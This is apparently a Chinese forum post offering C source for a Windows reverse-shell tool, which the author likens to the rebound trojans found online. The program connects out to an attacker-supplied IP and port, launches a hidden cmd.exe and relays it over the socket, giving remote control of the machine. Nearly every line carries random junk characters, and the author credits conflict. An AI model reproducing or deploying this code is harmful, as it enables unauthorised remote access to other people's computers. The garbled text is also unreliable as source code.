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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Tw` dLK?  
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/* ============================== y ,`0f|  
Rebound port in Windows NT .T(vGiU  
By wind,2006/7 p}gA8 o  
===============================*/ B|9XqQ EI  
#include xmC5uT6L3M  
#include 5i'?oXL  
DyZ6&*s$  
#pragma comment(lib,"wsock32.lib") 0 .T5% _ /  
:cXN Fu\C  
void OutputShell(); MuzQ z.C  
SOCKET sClient; *x p_#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D[6sy`5l  
y>u |3:z  
void main(int argc,char **argv) 7!Im|7Ty  
{ Em{;l:;(W  
WSADATA stWsaData; G O G[^T  
int nRet; 3bo [34  
SOCKADDR_IN stSaiClient,stSaiServer; jll|y0  
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if(argc != 3) 8$iHd  
{ 7) RvBcM  
printf("Useage:\n\rRebound DestIP DestPort\n"); OuWRLcJ!  
return; "66#F  
} J[S!<\_!  
yn(bW\  
WSAStartup(MAKEWORD(2,2),&stWsaData); /6y{ ?0S  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g@/}SJh/>  
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stSaiClient.sin_family = AF_INET; xy&*s\=:  
stSaiClient.sin_port = htons(0); wzoT!-_X  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rd]<591  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L|-|DOgw  
{ ^4\0, >  
printf("Bind Socket Failed!\n"); e(b$LUV  
return; .V_5q:tu  
} Z:x`][vg  
[Ran/D\.  
stSaiServer.sin_family = AF_INET; uXUuA/O5-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7'{Vh{.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;Kg7}4`I  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /f+BeQ3#/  
{ hPgYKa8u  
printf("Connect Error!"); L@Qvj-5e  
return; ?pd /cj^  
} <~_XT>`y  
OutputShell(); z_{_wAuY  
} fF9hL3h?)  
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void OutputShell() -3b_}by  
{ j:2 F97  
char szBuff[1024]; eHd7fhW5  
SECURITY_ATTRIBUTES stSecurityAttributes; -GB,g=Dk  
OSVERSIONINFO stOsversionInfo; dShGIH?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 10m|?  
STARTUPINFO stStartupInfo; M&9urOa`  
char *szShell; Au(oKs<  
PROCESS_INFORMATION stProcessInformation; wPcEvGBN=  
unsigned long lBytesRead; 7xG~4N<)]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2<w vO 9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @" umY-1f  
stSecurityAttributes.lpSecurityDescriptor = 0; ,69547#o  
stSecurityAttributes.bInheritHandle = TRUE; Q+QD ,  
:LdPqFXj  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &=:3/;c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZYt<O  
&Ll&A@yU  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G)Y,*.,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uAoZ&8D6  
stStartupInfo.wShowWindow = SW_HIDE; uNw9g<g:V[  
stStartupInfo.hStdInput = hReadPipe; HRu;*3+%>F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D$NpyF.87  
;, \!&o6  
GetVersionEx(&stOsversionInfo); `(I$_RSE")  
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switch(stOsversionInfo.dwPlatformId) O;}K7rSc  
{ ub`zS-vb  
case 1: Jm< uE]9  
szShell = "command.com"; jPZpJ:  
break; aS\$@41"  
default: tB(~:"|8  
szShell = "cmd.exe"; puMb B9)  
break; zf^|H% ~^  
} /Ah&d@b  
KU]o=\ak%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P46Q3EE  
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send(sClient,szMsg,77,0); @A*>lUo  
while(1) '4Qsl~[Eh  
{ 8B(v6(h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z`ww[Tbv~  
if(lBytesRead) P4/~_$e  
{  j},i=v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gA@Zx%0j  
send(sClient,szBuff,lBytesRead,0); ]T2Nr[vu  
} L<Z,@q `  
else n"Bc2}{  
{ :rjfAe=s  
lBytesRead=recv(sClient,szBuff,1024,0); %&V%=-O_7  
if(lBytesRead<=0) break; S)4p'cUwq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HTvUt*U1  
} h@(+(fVHrp  
} n}(A4^=4KQ  
)E^4U 9v),  
return; 1Ax;|.KQH  
}
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